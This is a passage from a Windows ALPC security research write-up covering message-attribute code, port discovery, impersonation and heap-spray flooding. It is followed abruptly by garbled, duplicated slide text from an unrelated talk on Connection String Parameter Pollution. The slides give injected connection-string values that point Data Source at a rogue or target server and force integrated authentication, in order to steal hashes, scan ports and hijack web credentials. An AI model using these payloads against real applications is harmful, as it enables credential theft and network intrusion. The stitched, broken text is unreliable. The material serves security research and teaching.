} ALPC_WORK_ON_BEHALF_ATTR, * PALPC_WORK_ON_BEHALF_ATTR;
The message attributes, how these are initialized and send was another thing that puzzled me
when coding a sample ALPC server and client. So you don’t crash with the same problems that I
had here are secret I learned about ALPC message attributes:
To get started one has to know that the structure for ALPC message attributes is the following:
Looking at this I initially thought you call the function AlpcInitializeMessageAttribute give it a
reference to the above structure and the flag for the message attribute you want to send (all
attributes are referenced by a flag value, here’s the list from my code) and the kernel then sets it
all up for you. You then put the referenced structure into NtAlpcSendWaitReceivePort, repeat the
process for every message you want to send and be all done.
That is not the case and seems to be wrong on multiple levels. Only after I found this twitter
post from 2020 and rewatched Alex’s SyScan’14 talk once again (I re-watched this at least 20 times
during my research) I came to what I currently believe is the right track. Let me first spot the
errors in my initial believes before bundling the right course of actions:
AlpcInitializeMessageAttribute doesn’t do shit for you, it really only clears the
ValidAttributes flag and sets the AllocatedAttributes flag according to your specified
message attributes (so no kernel magic filling in data at all).
I’ll have to admit I spotted this early on from reverse engineering the function, but for some time I
still hoped it would do some more as the name of the function was so promising.
To actually setup a message attribute properly you have to allocate the corresponding
message structure and place it in a buffer after the ALPC_MESSAGE_ATTRIBUTES structure. So
this is similar to an ALPC_MESSAGE where the actual message needs to be placed in a buffer
after the PORT_MESSAGE structure.
It’s not the kernel that sets the ValidAttributes attribute for your ALPC_MESSAGE_ATTRIBUTES
structure, you have to set this yourself. I figured this out by playing around with the structure
and for some time I thought this was just a weird workaround, because why would I need to
set the ValidAttributes field? As far as I’m concerned my attributes are always valid and
shouldn’t it be the kernel’s task to check if they are valid.
I took me another round of Alex’s SyScan’14 talk to understand that..
You don’t setup the message attributes for every call to NtAlpcSendWaitReceivePort, you set
all the message attributes up once and use the ValidAttributes flag before calling
NtAlpcSendWaitReceivePort to specify which of all your set up attributes is valid for this very
message you are sending now.
To bundle this into useful knowledge, here’s how sending message attributes does work (in
my current understanding):
First of all you have two buffers: A buffer for message attributes you want to receive (in my
code named: MsgAttrReceived ) and a buffer for message attributes you want to send (in
my code named: MsgAttrSend ).
For the MsgAttrReceived buffer you just have to allocate a buffer that is large enough to
hold the ALPC_MESSAGE_ATTRIBUTES structure plus all the message attributes that you want to
receive. After allocating this buffer set the AllocatedAttributes attribute to the
typedef struct _ALPC_MESSAGE_ATTRIBUTES
{
ULONG AllocatedAttributes;
ULONG ValidAttributes;
} ALPC_MESSAGE_ATTRIBUTES, * PALPC_MESSAGE_ATTRIBUTES;
corresponding attribute(s) flag(s) value. This AllocatedAttributes value can be changed
for every message you receive.
For my sample server and client application I just want to always receive all attributes that
the kernel could give me, therefore I set the buffer for the receiving attributes once at the
beginning of my code as follows:
[code]
For the MsgAttrSend buffer two more steps are involved. You have to allocate a buffer that
is large enough to hold ALPC_MESSAGE_ATTRIBUTES structure plus all the message attributes
that you want to send (just as before). You have to set the AllocatedAttributes attribute
(just as before), but then you also have to initialize the message attributes (meaning creating
the necessary structures and fill those with valid values) that you want to send and then
finally set the ValidAttributes attribute. In my code I wanted to send different attributes in
different messages so here’s how I did that:
pMsgAttrReceived = alloc_message_attribute(ALPC_MESSAGE_ATTRIBUTE_ALL);
PALPC_MESSAGE_ATTRIBUTES alloc_message_attribute(ULONG ulAttributeFlags) {
NTSTATUS lSuccess;
PALPC_MESSAGE_ATTRIBUTES pAttributeBuffer;
LPVOID lpBuffer;
SIZE_T lpReqBufSize;
SIZE_T ulAllocBufSize;
ulAllocBufSize = AlpcGetHeaderSize(ulAttributeFlags); // required size for
specified attribues
lpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ulAllocBufSize);
if (GetLastError() != 0) {
wprintf(L"[-] Failed to allocate memory for ALPC Message
attributes.\n");
return NULL;
}
pAttributeBuffer = (PALPC_MESSAGE_ATTRIBUTES)lpBuffer;
// using this function to properly set the 'AllocatedAttributes' attribute
lSuccess = AlpcInitializeMessageAttribute(
ulAttributeFlags, // attributes
pAttributeBuffer, // pointer to attributes structure
ulAllocBufSize, // buffer size
&lpReqBufSize
);
if (!NT_SUCCESS(lSuccess)) {
return NULL;
}
else {
//wprintf(L"Success.\n");
return pAttributeBuffer;
}
}
[code]
There is an additional catch with the sending attribute buffer: You don’t have to allocate or
initialize the context attribute or the token attribute. The kernel will always prepare
these attributes and the receiver can always request them.
If you want to send multiple message attributes you will have a buffer that begins with the
ALPC_MESSAGE_ATTRIBUTES followed by initialized structures for all the message attributes
that you want.
So how does the kernel know which attribute structure is which? The answer: You have to
put the message attributes in a pre-defined order, which could be guessed from the value of
their message attribute flags (from highest to lowest) or can also be found in the
_KALPC_MESSAGE_ATTRIBUTES kernel structure:
You might have noticed that the context and token attributes are not tracked in this
structure and that is because the kernel will always provide these for any message, and
hence does track them message independently.
Once send, the kernel will validate all the message attributes, fill in values (for example
sequence numbers) or clear attributes that are invalid before offering these to the receiver.
Lastly the kernel will copy the attributes that the receiver specified as AllocatedAttributes
into the receiver’s MsgAttrReceived buffer, from where they can be fetched by the receiver.
All of the above might, hopefully, also get a little clearer if you go through my code and match
these statements against where and how I used message attributes.
So far we’ve introduced various components of ALPC to describe how the ALPC messaging system
works and what an ALPC message looks like. Let me conclude this chapter by putting a few of
these components into perspective. The above description and structure of an ALPC message
describe what an ALPC message looks like to sender and receiver, but one should be aware that
the kernel is adding a lot more information to this message - in fact it takes the provided parts
and places them in a much bigger kernel message structure - as you can see below:
// Allocate buffer and initialize the specified attributes
pMsgAttrSend = setup_sample_message_attributes(hConnectionPort, hServerSection,
ALPC_MESSAGE_SECURITY_ATTRIBUTE | ALPC_MESSAGE_VIEW_ATTRIBUTE |
ALPC_MESSAGE_HANDLE_ATTRIBUTE);
// ...
// Before sending a message mark certain attributes as valid, in this case
ALPC_MESSAGE_SECURITY_ATTRIBUTE
pMsgAttrSend->ValidAttributes |= ALPC_MESSAGE_SECURITY_ATTRIBUTE
lSuccess = NtAlpcSendWaitReceivePort(hConnectionPort, ...)
//...
So the message here is: We’ve made a good understanding, but there is a lot more under the
hood that we’ve not touched.
Putting the pieces together: A Sample Application
I have coded a sample ALPC client and server application as a playground to understand the
different ALPC components. Feel free to browse and change the code to get your own feeling for
ALPC. A few fair warnings about this code:
The code is not intended to scale/grow well. The code is intended to be easily readable and
guide through the main steps of sending/receiving ALPC messages.
This code is in absolutely no way even close to being performance, resource, or anything else
optimized. It’s for learning.
I did not bother to take any effort to free buffers, messages or any other resources (which
comes with a direct attack path, as described in section Unfreed Message Objects).
Although there aren’t to many files to go through, let me point out a few notable lines of code:
You can find how I set up sample messages attributes here.
You can find a call to NtAlpcSendWaitReceivePort that both sends and receives a message
here.
You can find ALPC port flags, message attribute flags, message and connection flags here.
And then finally here is what it looks like:
Attack Surface
Before digging into the attack surface of ALPC communication channels, I’d like to point out an
interesting conceptual weakness with ALPC communication that the below attack paths build on
and that should be kept in mind to find further exploit potential.
Looking back at the ALPC Message Flow section we can recall, that in order to allow for ALPC
communication to occur a server has to open up an ALPC (connection) port, wait for incoming
messages and then accept or decline these messages. Although an ALPC port is a securable
kernel object and can as such be created with a Security Descriptor that defines who can access
and connect to it, most of the time the creating ALPC server process can’t (or want) to limit access
based on a callee’s SID. If you can’t (or want) limit access to your ALPC port by a SID, the only
option you have is to allow Everyone to connect to your port and make a accept/deny decision
after a client has connected and messaged you. That in turn means that a lot of built-in ALPC
servers do allow Everyone to connect and send a message to a server. Even if the server rejects a
client right away, sending an initial message and some message attributes along with that
message, might be enough to exploit a vulnerability.
Due to this communication architecture and the ubiquity of ALPC, exploiting ALPC is also an
interesting vector to escape sandboxes.
Identify Targets
The first step in mapping the attack surface is to identify targets, which in our case are ALPC client
or server processes.
There are generally three routes that came to my mind of how to identify such processes:
1. Identify ALPC port objects and map those to the owning processes
2. Inspect processes and determine if ALPC is used within them
3. Use Event Tracing for Windows (ETW) to list ALPC events
All of these ways could be interesting, so let’s have a look at them…
Find ALPC port objects
We’ve already seen the most straight forward way to identify ALPC port objects at the beginning
of this post, which is to fire up WinObj and spot ALPC objects by the ‘Type’ column. WinObj can’t
give us more details so we head over to a WinDbg kernel debugger to inspect this ALPC port
object:
In the above commands we used Windbg’s !object command to query the object manager for the
named object in the specified path. This implicitly already told us that this ALPC port has to be an
ALPC connection port, because communications ports are not named. In turn we can conclude
that we can use WinObj only to find ALPC connection ports and through these only ALPC server
processes.
Speaking of server processes: As shown above, one can use WinDbg’s undocumented !alpc
command to display information about the ALPC port that we just identified. The output includes
- alongside with a lot of other useful information, the owning server process of the port, which in
this case is svchost.exe.
Now that we know the address of the ALPC Port object we can use the !alpc command once
again to display the active connections for this ALPC connection port:
Side note: The !alpc Windbg command is undocumented, but the outdated !lpc command, which existed
in the LPC days, is documented here and has a timestamp from December 2021. This documentation
page does mention that the !lpc command is outdated and that the !alpc command should be used
instead, but the !alpc command syntax and options are completely different. But to be fair the !alpc
command syntax is displayed in WinDbg if you enter any invalid !alpc command:
Thanks to James Forshaw and his NtObjectManager in .NET we can also easily query the
NtObjectManager in PowerShell to search for ALPC port objects, and even better James already
provided the wrapper function for this via Get-AccessibleAlpcPort.
Find ALPC used in processes
As always there are various ways to find ALPC port usage in processes, here are a few that came
to mind:
Similar to approaches in previous posts (here) one could use the dumpbin.exe utility to list
imported functions of executables and search therein for ALPC specific function calls.
As the above approach works with executable files on disk, but not with running processes,
one could transfer the method used by dumpbin.exe and parse the Import Address Table
(IAT) of running processes to find ALPC specific function calls.
One could attach to running processes, query the open handles for this process and filter for
those handles that point to ALPC ports.
Once dumpbin.exe is installed, which for examples comes with the Visual Studio C++
development suite, the following two PowerShell one-liners could be used to find .exe and .dll files
that create or connec to an ALPC port:
I did not code the 2nd option (parsing the IAT) - if you know a tool that does this let me know, but
there is an easy, but very slow way to tackle option number 3 (find ALPC handles in processes)
using the following WinDbg command: !handle 0 2 0 ALPC Port
## Get ALPC Server processes (those that create an ALPC port)
Get-ChildItem -Path "C:\Windows\System32\" -Include ('*.exe', '*.dll') -Recurse -
ErrorAction SilentlyContinue | % { $out=$(C:\"Program Files (x86)"\"Microsoft
Visual Studio 14.0"\VC\bin\dumpbin.exe /IMPORTS:ntdll.dll
$_.VersionInfo.FileName); If($out -like "*NtAlpcCreatePort*"){ Write-Host "[+]
Executable creating ALPC Port: $($_.VersionInfo.FileName)"; Write-Output "[+]
$($_.VersionInfo.FileName)`n`n $($out|%{"$_`n"})" | Out-File -FilePath
NtAlpcCreatePort.txt -Append } }
## Get ALPC client processes (those that connect to an ALPC port)
Get-ChildItem -Path "C:\Windows\System32\" -Include ('*.exe', '*.dll') -Recurse -
ErrorAction SilentlyContinue | % { $out=$(C:\"Program Files (x86)"\"Microsoft
Visual Studio 14.0"\VC\bin\dumpbin.exe /IMPORTS:ntdll.dll
$_.VersionInfo.FileName); If($out -like "*NtAlpcConnectPor*"){ Write-Host "[+]
Executable connecting to ALPC Port: $($_.VersionInfo.FileName)"; Write-Output "
[+] $($_.VersionInfo.FileName)`n`n $($out|%{"$_`n"})" | Out-File -FilePath
NtAlpcConnectPort.txt -Append } }
Be aware that this is very slow and will probably take a few hours to complete (I stopped after 10
minutes and only got around 18 handles).
But once again thanks to James Forshaw and his NtApiDotNet there is any easier way to code this
yourself and speed up this process, plus we can also get some interesting ALPC stats…
You can find that tool here
Note that this program does not run in kernel land, so I’d expect better results with the WinDbg
command, but it does its job to list some ALPC ports used by various processes. By iterating over
all processes that we have access to, we can also calculate some basic stats about ALPC usage, as
shown above. These numbers are not 100% accurate, but with - on average - around 14 ALPC
communication port handles used per process we can definitely conclude that ALPC is used quite
frequently within Windows.
Once you identify a process that sounds like an interesting target WinDbg can be used again to
dig deeper …
Use Event Tracing For Windows
Although ALPC is undocumented a few ALPCs events are exposed as Windows events that can be
captured through Event Tracing for Windows (ETW). One of the tools that helps with ALPC events
is ProcMonXv2 by zodiacon.
After a few seconds of filtering for the five exposed ALPC events we get over 1000 events, another
indication that ALPC is used quite frequently. But apart from that there is not much that ETW can
offer in terms of insights into the ALPC communication channels, but anyhow, it did what it was
intended to do: Identify ALPC targets.
Impersonation and Non-Impersonation
As with the previous post of the series (see here & here) one interesting attack vector is
impersonation of another party.
As last time, I’m not going to cover Impersonation again, but you’ll find all the explanation that you’ll
need in the in the Impersonation section of the Named Pipe Post.
For ALPC communication the impersonation routines are bound to messages, which means that
both client and server (aka. each communicating party) can impersonate the user on the other
side. However, in order to allow for impersonation the impersonated communication partner has
to allow to for impersonation to happen AND the impersonating communication partner needs to
hold the SeImpersonate privilege (it’s still a secured communication channel, right?)…
Looking at the code there seem to be two options to fulfil the first condition, which is to allow
being impersonated:
The first option: Through the PortAttributes , e.g. like this:
The second option: Through the ALPC_MESSAGE_SECURITY_ATTRIBUTE message attribute
If you’re not super familiar with VC++/ALPC code, these snippets might not tell you anything, which is
totally fine. The point here is: In theory there are two options to specify that you allow impersonation.
However, there is a catch:
If the server (the one with the connection port handle) wants to impersonate a client then
impersonation is allowed if the client specified EITHER the first option OR the second (or
both, but one option is sufficient).
However if the client wants to impersonate the server, then the server has to provide the
2nd option. In other words: The server has to send the ALPC_MESSAGE_SECURITY_ATTRIBUTE
to allow the client to impersonate the server.
I’ve looked at both routes: A server impersonating a client and a client impersonating a server.
My first path was finding clients attempting to connect to a server port that does not exist in order
to check for impersonation conditions. I tried various methods, but so far I haven’t figured a great
way to identify such clients. I managed to use breakpoints in the kernel to manually spot some
cases, but so far couldn’t find any interesting ones that would allow for client impersonation.
Below is an example of the “ApplicationFrameHost.exe” trying to connect to an ALPC port that
does not exist, which I could catch with my sample server, however, the process does not allow
impersonation (and the application runs as my current user)…
Not a successful impersonation attempt, but at least it proves the idea.
// QOS
SecurityQos.ImpersonationLevel = SecurityImpersonation;
SecurityQos.ContextTrackingMode = SECURITY_STATIC_TRACKING;
SecurityQos.EffectiveOnly = 0;
SecurityQos.Length = sizeof(SecurityQos);
// ALPC Port Attributs
PortAttributes.SecurityQos = SecurityQos;
PortAttributes.Flags = ALPC_PORTFLG_ALLOWIMPERSONATION;
pMsgAttrSend = setup_sample_message_attributes(hSrvCommPort, NULL,
ALPC_MESSAGE_SECURITY_ATTRIBUTE); // setup security attribute
pMsgAttrSend->ValidAttributes |= ALPC_MESSAGE_SECURITY_ATTRIBUTE; // specify it
to be valid for the next message
NtAlpcSendWaitReceivePort(...) // send the message
Onto the other path: I located a bunch of ALPC connection ports using Get-AccessibleAlpcPort as
shown previously and instructed my ALPC client to connect to these in order to verify whether
these a) allow me to connect, b) send me any actual message back and c) send impersonation
message attributes along with a message. For all of the ALPC connection ports I checked at best I
got some short initialization message with an ALPC_MESSAGE_CONTEXT_ATTRIBUTE back, which is
not useful for impersonation, but at least once again it showcases the idea here:
Server Non-Impersonation
In the RPC Part of the series I mentioned that it could also be interesting to connect to a server,
that does use impersonation to change the security context of its thread to the security context of
the calling client, but does not check if the impersonation succeeds or fails. In such a scenario the
server might be tricked into executing tasks with its own - potentially elevated - security context.
As detailed in the post about RPC, finding such occasions comes down to a case-by-base analysis
of a specific ALPC server process you’re looking at. What you need for this is:
A server process opening an ALPC port that your client can connect to
The server has to accept connection messages and must attempt to impersonate the server
The server must not check if the impersonation succeeds or fails
(For relevant cases the server must run in a different security context then your client, aka.
different user or different integrity level)
As of now I can’t think of a good way of automating or semi-automating the process of finding
such targets. The only option that comes to mind is finding ALPC connection ports and reversing
the hosting processes.
I’ll get this post updated if I stumble across anything interesting in this direction, but for the main part I
wanted to re-iterate the attack path of failed impersonation attempts.
Unfreed Message Objects
As mentioned in the ALPC Message Attributes section there are several message attributes that a
client or server can send along with a message. One of these is the ALPC_DATA_VIEW_ATTR attribute
that can be used to send information about a mapped view to the other communication party.
To recall: This could for example be used to store larger messages or data in a shared view and
send a handle to that shared view to the other party instead of using the double-buffer messaging
mechanism to copy data from one memory space into another.
The interesting bit here is that a shared view (or section as its called in Windows) is mapped into
the process space of the receiver when being referenced in an ALPC_DATA_VIEW_ATTR attribute.
The receiver could then do something with this section (if they are aware of it being mapped), but
in the end the receiver of the message has to ensure that a mapped view is freed from its own
memory space, and this requires a certain number of steps, which might not be followed
correctly. If a receiver fails to free a mapped view, e.g. because it never expected to receive a view
in the first place, the sender can send more and more views with arbitrary data to fill the
receiver’s memory space with views of arbitrary data, which comes down to a Heap Spray attack.
I only learned about this ALPC attack vector by (once again) listening to Alex Ionescu’s SyScan
ALPC Talk and I think there is no way to better phrase and showcase how this attack vector works
then he does in this talk, so I’m not going to copy his content and words and just point you to
minute 32 of his talk, where he starts to explain the attack. Also you want to see minute 53 of his
talk for a demo of his heap spray attack.
https://www.youtube.com/embed/UNpL5csYC1E?start=3180
The same logics applies with other ALPC message attributes, for example with handles that are
send in ALPC_MESSAGE_HANDLE_INFORMATION via the ALPC handle attribute.
Finding vulnerable targets for this type of attacks is - once again - a case-by-case investigative
process, where one has to:
Find processes (of interest) using ALPC communication
Identify how a target process handles ALPC message attributes and especially if ALPC
message attributes are freed
Get creative about options to abuse non-freed resources, where the obvious PoC option
would be to exhaust process memory space
Of course, another valid approach would be to pick a target and just flood it with views (as an
example) to check if the result is a lot of shared memory regions being allocated within the
target’s address space. A useful tool to inspect the memory regions of a process is VMMap from
the Sysinternals suite, which is what I’ve used as a PoC below.
As an example I’ve flooded my ALPC sample server with 20kb views as shown below:
This does work because I did not bother to make any effort to free any allocated attributes in my
sample ALPC server.
I’ve also randomly picked a few - like four or five - of Microsoft’s ALPC processes (that I identified
using the above shown techniques), but the ones I picked do not seem to make the same mistake.
Honestly, it might be valuable to check more processes for this, but as of know I have no use for
this kind of bug other than crashing a process, which - if critical enough - might crash the OS as
well (Denial of Service).
Interesting Side note:
In his talk Alex Ionescu mentions that the Windows Memory Manager allocates memory regions
on 64kb boundaries, which means that whenever you allocate memory the Memory Manager
places this memory at the start of the next available 64kb block. Which allows you, as an attacker,
to create and map views of arbitrary size (preferably smaller than 64kb to make the memory
exhaustion efficient) and the OS will map the view in the server’s memory and mark 64kb-
YourViewSize as unusable memory, because it needs to align all memory allocation to 64kb
boundaries. You want to see minute 54 of Alex’s talk to get a visual and verbal explanation of this
effect.
Raymond Chen explains the reasoning behind the 64kb granularity here.
At the end of the day memory exhaustion attacks are of course not the only viable option to use a
memory/heap spray primitive, which people smarter than me can turn into a exploit path…
Conclousion
ALPC is undocumented and quite complex, but as a motivational benefit: Vulnerabilities inside of
ALPC can become very powerful as ALPC is ubiquitous within the Windows OS, all of the built-in
high privileged processes use ALPC and due to its communication architecture it is an attractive
target even from a sandbox perspective.
There is much more to ALPC than I have covered in this post. Potentially one could write an entire
book about ALPC, but I hope to have at least touched the basics to get you started in getting
interested in ALPC.
To get a first “Where and how much ALPC is in my PC”-impression I recommend starting
ProcMonXv2 (by zodiacon) on your host to see thousands of ALPC events firing in a few seconds.
To continue from there you might find my ALPC client and server code useful to play around with
ALPC processes and to identify & exploit vulnerabilities within ALPC. If you find yourself coding
and/or investigating ALPC make sure to check out the reference section for input on how others
dealt with ALPC.
Finally as a last word and to conclude my recommendation from the beginning: If you feel like you
could hear another voice & perspective on ALPC, I highly recommend to grab another beverage
and an enjoy the following hour of Alex Ionescu talk about LPC, RPC and ALPC:
https://www.youtube.com/embed/UNpL5csYC1E
Appendix A: The use of connection and
communication ports
When looking into ALPC I initially thought that a server listens on its communication port, which
it receives when accepting a client connection via NtAlpcConnectPort. This would have made
sense, since it’s called communication port. However, listening for incoming messages on the
server’s communication port resulted in a blocking call to NtAlpcSendWaitReceivePort that never
came back with a message.
So my assumption about the server’s ALPC communication port must have been wrong, which
puzzled me, since the client on the other side does get messages on his communication port. I
hung on this question for a while until I reached out to Alex Ionescu to ask him about this and I
learned that my assumption was indeed incorrect, but to be more precise it has become incorrect
over time: Alex explained to me that the idea I had (server listens and sends messages on its
communication port) was the way that LPC (the predecessor of ALPC) was designed to work. This
design however would force you to listen on a growing number of communication ports with each
new client the server accepts. Imagine a server has 100 clients talking to it, then the server needs
to listen on 100 communication ports to get client messages, which often resulted in creating 100
threads, where each thread would communicate with a different client. This was deemed
inefficient and a much more efficient solution was to have a single thread listening (and sending)
on the server’s connection port, where all messages are being send to this connection port.
That in turn means: A server accepts a client connection, receives a handle to a client’s
communication port, but still uses the server’s connection port handle in calls to
NtAlpcSendWaitReceivePort in order to send and receive messages from all connected clients.
Does that mean that the server’s communication port is obsolete then (and this was my follow up
question to Alex)? His answer, once again, made perfect sense and cleared my understanding of
ALPC: A server’s per client communication port is used internally by the OS to tie a message, send
by a specific client, to this client’s specific communication port. This allows the OS to tie a special
context structure to each client communication port that can be used to identify the client. This
special context structure is the PortContext, which can be any arbitrary structure, that can be
passed to NtAlpcAcceptConnectPort and which can later be extracted from the any message with
the ALPC_CONTEXT_ATTR message attribute.
That means: When a server listens on its connection port it receives messages from all clients, but
if it wants to know which client send the message, the server can get the port context structure
(through the ALPC_CONTEXT_ATTR message attribute), that it assigned to this client upon accepting
the connection, and the OS will fetch that context structure from the internally preserved client
communication port.
This far we can conclude that the server’s per-client communication port is still important for the
OS and still has its place and role in the ALPC communication structure. That does, however, not
answer the question why the server would actually need a handle to each-clients communication
port (because the client’s PortContext can be extracted from a message, which is received by using
the connection port handle).
The answer here is impersonation. When the server wants to impersonate a client it needs to
pass the client’s communication port to NtAlpcImpersonateClientOfPort. The reason for this is
that the security context information that are needed to perform the impersonation are bound (if
allowed by the client) to the client’s communication port. It would make no sense to attach these
information to the connection port, because all clients use this connection port, whereas each
client has it own unique communication port for each server.
Therefore: If you want to impersonate your clients you want to keep each client’s communication
port handle.
References
Below are a few resources that I found helpful to learn and dig into ALPC.
Reference Projects that make use of ALPC
https://github.com/microsoft/terminal/blob/main/src/interactivity/onecore/ConIoSrvComm.c
pp
https://github.com/DownWithUp/ALPC-Example
https://github.com/DynamoRIO/drmemory
https://github.com/hakril/PythonForWindows
https://docs.rs/
https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools
https://processhacker.sourceforge.io/doc/ntlpcapi_8h.html
https://github.com/bnagy/w32
https://github.com/taviso/ctftool
References to ALPC implementation details
https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools/blob/main/NtApi
DotNet/NtAlpcNative.cs
https://processhacker.sourceforge.io/doc/ntlpcapi_8h.html
https://github.com/hakril/PythonForWindows/blob/master/windows/generated_def/windef.p
y
Talks about ALPC
Youtube: SyScan’14 Singapore: All About The Rpc, Lrpc, Alpc, And Lpc In Your Pc By Alex
Ionescu
Slides: SyScan’14 Singapore: All About The Rpc, Lrpc, Alpc, And Lpc In Your Pc By Alex Ionescu
Youtube: Hack.lu 2017 A view into ALPC-RPC by Clement Rouault and Thomas Imbert
Slides: ALPC Fuzzing Toolkit
LPC References:
https://github.com/avalon1610/LPC | pdf |
p
Chema Alonso
Chema Alonso
Informática 64
Informática 64
Connection Strings
Connection Strings
• Define the way an application connects to
Define the way an application connects to
data repository
• There are connection strings for:
• There are connection strings for:
– Relational Databases (MSSQL, Oracle, MySQL,…)
LDAP Di
i
– LDAP Directories
– Files
– Etc…
Databases Connection Strings
Databases Connection Strings
Data Source = myServerAddress;
Data Source = myServerAddress;
Initial Catalog = myDataBase;
Initial Catalog myDataBase;
User Id = myUsername;
Password = myPassword;
Google Hacking
Google Hacking
Google Hacking
Google Hacking
UDL (Universal Data Links) Files
UDL (Universal Data Links) Files
Credentials
Credentials
Operating System Accounts
Database Credentials
Operating System Accounts
Data Source =
myServerAddress;
Database Credentials
Data Source =
myServerAddress;
Initial Catalog = myDataBase;
User Id = myUsername;
Initial Catalog = myDataBase;
User Id = myUsername;
Password = myPassword;
Integrated Security =
SSPI/True/Yes;
Password = myPassword;
Integrated Security = No;
SSPI/True/Yes;
Users autheticated by Web App
Web application manages the login process
Syslogins
Connection string
1.‐ Web applicaton
connects using its
credentials to the
credentials to the
database.
2.‐ Asks user login
i f
ti
Custom
users table
information.
3.‐ Checks login
information about info
Select id from users
stored in custom users
table.
Database Engine
App running on Web Server
Users autheticated by Database
Database engine manages the login process
1.‐ Web application
asks for credentials.
2
i
i
Syslogins
Connection string
2.‐ A connection string
is composed with the
credentials to connect
to the database.
3.‐ Roles and permits
are limited by the user
sed in the connection
used in the connection
string
Database Engine
App running on Web Server
Connection String Attacks
Connection String Attacks
• It´s possible to inject parameters into connection
It s possible to inject parameters into connection
strings using semi colons as separators
Data Source = myServerAddress;
I iti l C t l
D t B
Initial Catalog = myDataBase;
Integrated Security = NO;
User Id = myUsername;
Password = myPassword; Encryption = Off;
ConnectionStringBuiler
ConnectionStringBuiler
• Available in .NET Framework 2.0
• Build secure connection strings using parameters
• It´s not possible to inject into the connection string
Are people aware of this?
Are people aware of this?
Connection String Parameter Pollution
Connection String Parameter Pollution
• The goal is to inject parameters in the connection
e goa s to
ject pa a ete s
t e co
ect o
string, whether they exist or not
• Had duplicated a parameter, the last value wins
• This behavior allows attackers to re‐write
completly the connection string, therefore to
manipulate the way the appliation will work and
how should be the it authenticated
Pollutionable Behavior
Pollutionable Behavior
Param1=Value A
Param2=Value B
Param1=Value C
Param2=Value D
Param1=Value A
Param2=Value B
Param1=Value C
Param2=Value D
DBConnection Object
Param1
Param1
Param2
What can be done with CSPP?
Rewrite a parameter
Data Source=DB1
UID=sa
Data Source=DB2
password=Pwnd!
Data Source=DB1
UID=sa
Data Source=DB2
password=Pwnd!
DBConnection Object
DataSource
DataSource
UID
password
Scanning the DMZ
Scanning the DMZ
Development
Database 1
Finnacial
Database
Test
Database
Forgotten
Database
Web app
I t
t
Production
Data
Source
FW
vulnerable
to CSPP
Internet
Production
Database
Port Scanning a Server
Port Scanning a Server
DataSource
DB1,80
DB1,21
DataSource
FW
Web app
vulnerable
to CSPP
Internet
Production
Database
DB1,25
DB1 1445
to CSPP
Server
DB1,1445
What can be done with CSPP?
dd
Add a parameter
Data Source=DB1
UID=sa
Integrated Security=True
password=Pwnd!
DBConnection Object
Data Source=DB1
UID=sa
Integrated Security=True
password=Pwnd!
DataSource
UID
password
password
CSPP Attack 1: Hash stealing
CSPP Attack 1: Hash stealing
1 ‐ Run a Rogue Server on an accessibl IP address:
1. Run a Rogue Server on an accessibl IP address:
Rogue_Server
2 Activate a sniffer to catch the login process
2.‐ Activate a sniffer to catch the login process
Cain/Wireshark
3.‐ Duplicate Data Source parameter
Data_Source=Rogue_Server
4.‐ Force Windows Integrated Authentication
Integrated Security=true
g
y
CSPP Attack 1: Robo de Hash
CSPP Attack 1: Robo de Hash
Data source = SQL2005; initial catalog = db1;
Data source SQL2005; initial catalog db1;
Integrated Security=no; user id=+’User_Value’+;
Password=+’Password Value’+;
Password=+ Password_Value +;
D t
SQL2005 i iti l
t l
db1
Data source = SQL2005; initial catalog = db1;
Integrated Security=no; user id= ;Data
S
R
S
Source=Rogue_Server;
Password=;Integrated Security=True;
CSSP 1:ASP.NET Enterprise Manager
CSSP 1:ASP.NET Enterprise Manager
CSPP Attack 2: Port Scanning
CSPP Attack 2: Port Scanning
1 ‐ Duplicate the Data Source parameter setting
1. Duplicate the Data Source parameter setting
on it the Target server and target port to be
scanned
scanned.
Data_Source=Target_Server,target_Port
2 Check the error messages:
2.‐ Check the error messages:
‐ No TCP Connection ‐> Port is opened
‐ No SQL Server ‐> Port is closed
‐ SQL Server ‐> Invalid Password
CSPP Attack 2: Port Scanning
CSPP Attack 2: Port Scanning
Data source = SQL2005; initial catalog = db1;
Data source SQL2005; initial catalog db1;
Integrated Security=no; user id=+’User_Value’+;
Password=+’Password Value’+;
Password=+ Password_Value +;
D t
SQL2005 i iti l
t l
db1
Data source = SQL2005; initial catalog = db1;
Integrated Security=no; user id= ;Data
S
T
t S
T
t P
t
Source=Target_Server, Target_Port;
Password=;Integrated Security=True;
CSPP 2: myLittleAdmin
CSPP 2: myLittleAdmin
Port is Opened
Port is Opened
CSPP 2: myLittleAdmin
CSPP 2: myLittleAdmin
Port is Closed
Port is Closed
CSPP Attack 3: Hijacking Web Credentials
CSPP Attack 3: Hijacking Web Credentials
1 ‐ Duplicate Data Source parameter to the
1. Duplicate Data Source parameter to the
target SQL Server
Data Source=Target Server
Data_Source=Target_Server
2.‐ Force Windows Authentication
Integrated Security=true
3.‐ Application pool in which the web app is
pp
p
pp
running on will send its credentials in order to
log in to the database engine.
g
g
CSPP Attack 3: Hijacking Web Credentials
CSPP Attack 3: Hijacking Web Credentials
Data source = SQL2005; initial catalog = db1;
Data source SQL2005; initial catalog db1;
Integrated Security=no; user id=+’User_Value’+;
Password=+’Password Value’+;
Password=+ Password_Value +;
D t
SQL2005 i iti l
t l
db1
Data source = SQL2005; initial catalog = db1;
Integrated Security=no; user id= ;Data
S
T
t S
Source=Target_Server;
Password=;Integrated Security=true;
CSPP Attack 3: Web Data Administrator
CSPP Attack 3: Web Data Administrator
CSPP Attack 3:
l
d
/
l
k
myLittleAdmin/myLittleBackup
CSPP Attack 3: ASP.NET Enterprise Manager
CSPP Attack 3: ASP.NET Enterprise Manager
Other Databases
Other Databases
• MySQL
– Does not support Integrated security
– It´s possible to manipulate the behavior of the web application,
although
• Port Scanning
• Connect to internal/testing/for developing Databases
• Oracle supports integrated authority running on Windows
d UNIX/Li
and UNIX/Linux servers
– It´s possible to perform all described attacks
• Hash stealing
P
t S
i
• Port Scanning
• Hijacking Web credentials
– Also it´s possible to elevate a connection to sysdba in order to
shutdown/startup an instance
shutdown/startup an instance
myLittleAdmin/myLittleBackup
myLittleAdmin/myLittleBackup
myLittleTools released a secury advisory and a patch about this
ASP.NET Enterprise Manager
ASP.NET Enterprise Manager
• ASP.NET Enterprise Manager is “abandoned”, but it´s
been used in a lot of web Control Panels.
• Fix the code yourself
Fix the code yourself
ASP.NET Enterprise Manager
ASP.NET Enterprise Manager
• ASP.NET Enterprise Manager is “abandoned”, but it´s
